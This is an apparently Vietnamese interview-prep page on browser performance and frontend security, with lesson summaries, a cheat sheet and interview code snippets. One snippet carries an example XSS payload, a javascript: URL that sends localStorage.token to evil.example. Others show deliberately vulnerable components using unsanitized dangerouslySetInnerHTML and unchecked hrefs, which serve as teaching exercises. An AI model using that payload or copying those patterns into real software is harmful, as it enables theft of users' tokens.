Skip to content
DevRecall
← Roadmap
12

Browser, Web Performance & Frontend Security

drafted

Critical rendering path, Core Web Vitals (LCP, INP, CLS), code splitting, HTTP caching, service worker, storage, XSS trong React, CSP, thay đổi third-party cookie.

0/48 rated · mastery 0%

Bài học

13 bài · ~140 phút đọc. Học theo thứ tự, rồi làm câu hỏi.
  1. 01~12 phút· 3 câuverify

    Critical rendering path: từ HTML tới pixel đầu tiên

    DOM, CSSOM, render tree; vì sao CSS là render-blocking còn script thường là parser-blocking; preload scanner; async/defer/module đo thứ tự chạy thật trong Chrome; preload/prefetch/preconnect/dns-prefetch và fetchpriority.

  2. 02~10 phút· 3 câuverify

    Rendering pipeline: style, layout, paint, composite

    Frame 16,7 ms và event loop, reflow vs repaint vs composite-only, forced synchronous layout và layout thrashing (đo thật 207 ms → 2,6 ms), animation bằng transform (đo LayoutCount thật), layer và will-change, content-visibility.

  3. 03~12 phút· 4 câuverify

    Core Web Vitals: đo gì, đo ở đâu, và biến nó thành quy trình

    LCP, INP, CLS và ngưỡng ở p75; vì sao INP thay FID; lab (Lighthouse 13 chạy thật, simulated throttling) vs field (CrUX, RUM); web-vitals attribution gửi về backend; performance budget, CI gate và ownership cho một frontend lớn.

  4. 04~11 phút· 4 câuverify

    LCP: bốn phần của thời gian tải nội dung chính

    Chia LCP thành TTFB, resource load delay, load duration, render delay và sửa từng phần; đo thật lazy (748 ms) vs CSS background (1.244 ms) vs img thường (428 ms); tối ưu ảnh (AVIF/WebP, srcset/sizes, fetchpriority); tag manager, A/B test và anti-flicker snippet.

  5. 05~11 phút· 3 câuverify

    CLS và web font: giữ layout đứng yên

    Layout shift score = impact × distance, session window, shift sau input không tính; nguyên nhân (ảnh không kích thước, banner chèn muộn, font swap, nội dung sau hydration) và cách sửa, đo thật CLS 0,425 → 0; FOIT/FOUT, font-display, size-adjust, preload font với crossorigin, subset tiếng Việt.

  6. 06~11 phút· 3 câuverify

    INP, long task và nghệ thuật nhường main thread

    INP đo gì và ba phase input delay / processing / presentation (đo thật 368 ms → 8 ms, input delay 241 ms); long task 50 ms, TBT, Long Animation Frames; yield bằng setTimeout vs scheduler.yield (đo thứ tự thật và clamp 4 ms); khi nào chuyển sang Web Worker.

  7. 07~10 phút· 4 câuverify

    React runtime performance: re-render, memoization, list lớn và memory leak

    Render vs commit, khi nào React.memo/useMemo/useCallback có ích (đếm render thật: 6 vs 1), move state down và children, useDeferredValue/startTransition, virtualization (đo 10.000 row = 878 ms ở CPU 4x), React Compiler, và tìm memory leak bằng heap (đo thật 50 instance, 40 MB).

  8. 08~11 phút· 6 câuverify

    Code splitting, bundle size và chọn chiến lược rendering

    Chi phí thật của JS (tải, parse, compile, execute), dynamic import và chunk hash (esbuild chạy thật: 98 KB → 415 B + 97 KB lazy), React.lazy + Suspense + Error Boundary, tái hiện ChunkLoadError sau deploy trong Chrome, tìm vì sao bundle to và tree shaking, CSR/SSR/SSG/ISR/streaming nhìn từ góc performance.

  9. 09~11 phút· 6 câuverify

    HTTP caching và back/forward cache

    Freshness vs validation, Cache-Control (no-cache, no-store, private, max-age=0, s-maxage, immutable), ETag/304 chạy thật bằng curl, stale-while-revalidate, bộ header cho SPA và deploy an toàn, bfcache: đo thật trong Chrome 154 cái gì chặn (unload, no-store + đổi cookie HttpOnly) và xử lý pageshow cho app ngân hàng.

  10. 10~10 phút· 3 câuverify

    Service worker và PWA: proxy mạng trong trình duyệt

    Service worker là gì, scope và secure context; lifecycle install → waiting → activate đo thật trong Chrome (reload không kích hoạt bản mới); cache-first, network-first, stale-while-revalidate; update flow an toàn với toast + SKIP_WAITING; kill switch; manifest và installability hiện nay.

  11. 11~12 phút· 5 câuverify

    Client storage, cookie và thế giới hậu third-party cookie

    Cookie attributes (HttpOnly, Secure, SameSite, Domain/Path, __Host-, Partitioned) chạy thật trong Chrome; localStorage/sessionStorage/IndexedDB/Cache API và quota (đo QuotaExceededError thật); lưu access token ở đâu và BFF; tình trạng third-party cookie 2024–2025, CHIPS, storage partitioning, SSO không dựa vào iframe.

  12. 12~9 phút· 4 câuverify

    XSS trong ứng dụng React

    Stored, reflected và DOM-based XSS; source và sink; React escape gì (chạy thật renderToString) và không bảo vệ gì; dangerouslySetInnerHTML + DOMPurify (output thật, kể cả lỗi sanitize-then-mutate); javascript: URL bị React 19 chặn nhưng data: thì không; inject JSON vào script khi SSR.

  13. 13~11 phút· 4 câuverify

    CSP, Trusted Types và security baseline cho SPA

    CSP chặn gì và vì sao allowlist domain yếu; strict CSP với nonce/hash + strict-dynamic (chạy thật trong Chrome: script không nonce, onclick, onerror, string eval đều bị chặn, script con được phép); Trusted Types (chạy thật); rollout Report-Only cho app lớn; nonce trong Next.js 16 và CDN; bộ security header và baseline cho banking SPA.

Tóm tắt & cheat sheet của track

TL;DR

  • Trình duyệt biến HTML/CSS/JS thành pixel qua critical rendering path: DOM + CSSOM → render tree → layout → paint → composite. CSS render-blocking, <script> thường parser-blocking → defer/async/type="module".
  • Core Web Vitals (đo ở p75 dữ liệu thực tế của user): LCP ≤ 2.5s (tải), INP ≤ 200ms (phản hồi — thay FID từ 2024-03-12), CLS ≤ 0.1 (ổn định layout).
  • Perf thực chiến = gửi ít JS hơn (code splitting, tree shaking), cache đúng (hashed asset immutable, HTML revalidate), ưu tiên tài nguyên quan trọng (preload/fetchpriority), không chặn main thread (long task > 50ms).
  • Frontend security: React escape mặc định nhưng có lối thoát (dangerouslySetInnerHTML, URL javascript:, inject vào <script> khi SSR); CSP nonce/hash + Trusted Types là lớp thứ hai; token không để trong localStorage nếu có thể dùng cookie HttpOnly.
  • Third-party cookies: Safari/Firefox chặn mặc định; Chrome giữ third-party cookie (bỏ kế hoạch deprecate, Privacy Sandbox APIs bị retire 2025) — nhưng vẫn thiết kế như thể không có (CHIPS, storage partitioning).

Khái niệm cốt lõi

Khái niệmMột câuVí dụ ngắn
Critical rendering pathChuỗi bước từ byte → pixelCSS lớn trong <head> làm trễ first paint
Render-blockingTài nguyên phải xong trước khi render<link rel="stylesheet">
defer / asyncdefer: tải song song, chạy sau parse theo thứ tự; async: chạy ngay khi tải xonganalytics → async; app bundle → defer
LCPThời điểm phần tử nội dung lớn nhất trong viewport render xongẢnh hero sản phẩm
INPĐộ trễ tương tác (input → next paint) gần như tệ nhất trong phiênClick "Add to cart" mất 450ms mới đổi UI
CLSTổng dịch chuyển layout bất ngờ (session window lớn nhất)Banner cookie đẩy nội dung xuống
Long taskTask > 50ms trên main threadJSON.parse 5MB, render list 10k row
Code splittingTách bundle, tải theo route/tính năngReact.lazy(() => import('./Reports'))
Cache-ControlChỉ thị cache cho browser/CDNpublic, max-age=31536000, immutable
ETag / 304Validator để revalidate rẻIf-None-Match: "abc" → 304 Not Modified
stale-while-revalidateTrả bản cũ ngay, revalidate nềnmax-age=60, stale-while-revalidate=600
Service workerProxy mạng chạy nền theo origin/scopeOffline, cache chiến lược, push
CSPHeader giới hạn nguồn script/style/...script-src 'nonce-r4nd' 'strict-dynamic'
CHIPSCookie Partitioned theo top-level siteWidget chat nhúng

Cơ chế hoạt động

Critical rendering path

Quyết định HTTP cache của browser

Service worker lifecycle

Trade-offs

Chủ đềLựa chọnƯuNhược
RenderingCSR SPATương tác mượt sau khi tải, server đơn giảnLCP chậm, JS nhiều, SEO kém
SSR / streaming (Next.js)LCP nhanh, SEOHydration cost ảnh hưởng INP, server phức tạp
Code splittingTheo routeĐơn giản, hiệu quả lớnChuyển route có độ trễ → prefetch
Theo componentChi tiếtQuá nhiều chunk nhỏ, waterfall
Lưu tokenCookie HttpOnly; Secure; SameSiteJS (XSS) không đọc đượcCần chống CSRF, cấu hình CORS/domain
localStorageDễBất kỳ XSS nào cũng đánh cắp được
Cache HTMLno-cache + ETagLuôn mới, 304 rẻMột round-trip mỗi lần
max-age dàiNhanhUser kẹt ở version cũ, chunk 404
SW strategyCache-firstNhanh, offlineStale nếu không version
Network-firstMớiChậm khi mạng yếu

Pitfalls

  • loading="lazy" cho ảnh LCP; ảnh hero chèn bằng JS/CSS background → browser phát hiện muộn.
  • Cache index.html lâu → sau deploy, HTML cũ trỏ chunk đã bị xoá → ChunkLoadError.
  • Ảnh/iframe/ads không có kích thước → CLS; font swap đổi metric → CLS.
  • Handler nặng đồng bộ trong onChange/onClick → INP tệ; useMemo khắp nơi không thay được việc bớt công việc.
  • dangerouslySetInnerHTML với nội dung từ CMS/user không sanitize; href={userUrl} không kiểm scheme.
  • CSP có 'unsafe-inline' + 'unsafe-eval' = gần như vô dụng chống XSS.
  • Service worker cache-first cho HTML không có cơ chế update → user kẹt version cũ "mãi mãi".
  • Đo perf chỉ bằng Lighthouse trên laptop mạnh (lab) thay vì RUM p75 trên thiết bị thật.

Cheat sheet

  • Ngưỡng "good" (p75): LCP ≤ 2.5s · INP ≤ 200ms · CLS ≤ 0.1. "Poor": LCP > 4s · INP > 500ms · CLS > 0.25.
  • LCP: SSR/HTML có sẵn ảnh, <img fetchpriority="high">, preload, CDN, nén ảnh (AVIF/WebP), không lazy-load.
  • INP: chia nhỏ long task (await yield, scheduler.yield() nơi hỗ trợ), startTransition, virtualize list, bớt hydration, debounce.
  • CLS: width/height hoặc aspect-ratio, reserve chỗ cho ads/banner, font-display + fallback metric, animation bằng transform.
  • Cache: hashed assets max-age=31536000, immutable; HTML no-cache (+ ETag); API tuỳ dữ liệu; dữ liệu nhạy cảm no-store hoặc private.
  • Script: app defer/module, third-party async hoặc tải sau tương tác; preconnect tới origin quan trọng.
  • Security headers: CSP (nonce + strict-dynamic, object-src 'none', base-uri 'none', frame-ancestors), Strict-Transport-Security, X-Content-Type-Options: nosniff, Referrer-Policy.

Personal notes (Notion)

Ghi chú cá nhân — có thể sai hoặc lỗi thời, dùng để tham khảo.

Interview Questions

Showing 48 / 48

const ReportsPage = lazy(() => import('./pages/ReportsPage'));
<Suspense fallback={<PageSkeleton />}>
  <ReportsPage />
</Suspense>
window.addEventListener('scroll', () => {
  document.querySelectorAll('.card').forEach((card) => {
    const h = card.offsetHeight;          // read layout
    card.style.height = `${h + 1}px`;     // write layout
  });
});
const Transfers = lazy(() => import('./routes/Transfers'));
const prefetchTransfers = () => import('./routes/Transfers'); // gọi onMouseEnter

<ErrorBoundary fallback={<ChunkError onRetry={() => location.reload()} />}>
  <Suspense fallback={<RouteSkeleton />}>
    <Transfers />
  </Suspense>
</ErrorBoundary>
Content-Security-Policy: script-src 'nonce-7f3kQ9' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none'; base-uri 'none'; frame-ancestors 'none'; report-to csp

(https: và 'unsafe-inline' chỉ là fallback cho browser cũ; browser hỗ trợ nonce/strict-dynamic sẽ bỏ qua chúng.)

function ProductDescription({ html }: { html: string }) {
  // html comes from merchant-editable rich text in the CMS
  return <div className="prose" dangerouslySetInnerHTML={{ __html: html }} />;
}
function ProfileLink({ url }: { url: string }) {
  return <a href={url} target="_blank">Visit website</a>;
}
// url = "javascript:fetch('https://evil.example/?t='+localStorage.token)"
location / {
  try_files $uri /index.html;
  add_header Cache-Control "public, max-age=86400";
}
# deploy script: rm -rf /var/www/app/* && cp -r dist/* /var/www/app/
function TransactionSearch({ transactions }: { transactions: Tx[] }) { // ~10,000 items
  const [q, setQ] = useState('');
  const filtered = transactions
    .filter((t) => JSON.stringify(t).toLowerCase().includes(q.toLowerCase()))
    .sort((a, b) => b.date.localeCompare(a.date));
  return (
    <>
      <input value={q} onChange={(e) => setQ(e.target.value)} />
      {filtered.map((t) => <TxRow key={t.id} tx={t} />)}
    </>
  );
}
<header>...</header>
<div id="promo-banner"></div>          <!-- filled by JS after an API call -->
<img src="/p/991-hero.jpg" alt="Keyboard" class="hero">  <!-- no width/height -->
<h1 style="font-family: 'BrandFont'">Mechanical Keyboard</h1>
<div id="reviews"></div>                <!-- rendered after hydration -->
async function processInChunks<T>(items: T[], fn: (t: T) => void) {
  let deadline = performance.now() + 40;
  for (const it of items) {
    fn(it);
    if (performance.now() > deadline) {
      await ('scheduler' in globalThis && 'yield' in (globalThis as any).scheduler
        ? (globalThis as any).scheduler.yield()
        : new Promise((r) => setTimeout(r, 0)));
      deadline = performance.now() + 40;
    }
  }
}